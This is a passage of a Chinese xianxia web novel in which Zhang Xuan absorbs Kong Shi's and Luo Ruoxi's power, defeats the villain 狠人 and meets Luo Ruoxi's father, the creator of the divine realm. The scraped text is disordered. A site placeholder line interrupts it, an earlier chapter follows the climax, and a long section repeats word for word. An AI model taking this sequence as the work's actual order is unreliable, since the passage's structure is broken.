“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零五章 祭礼已成 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 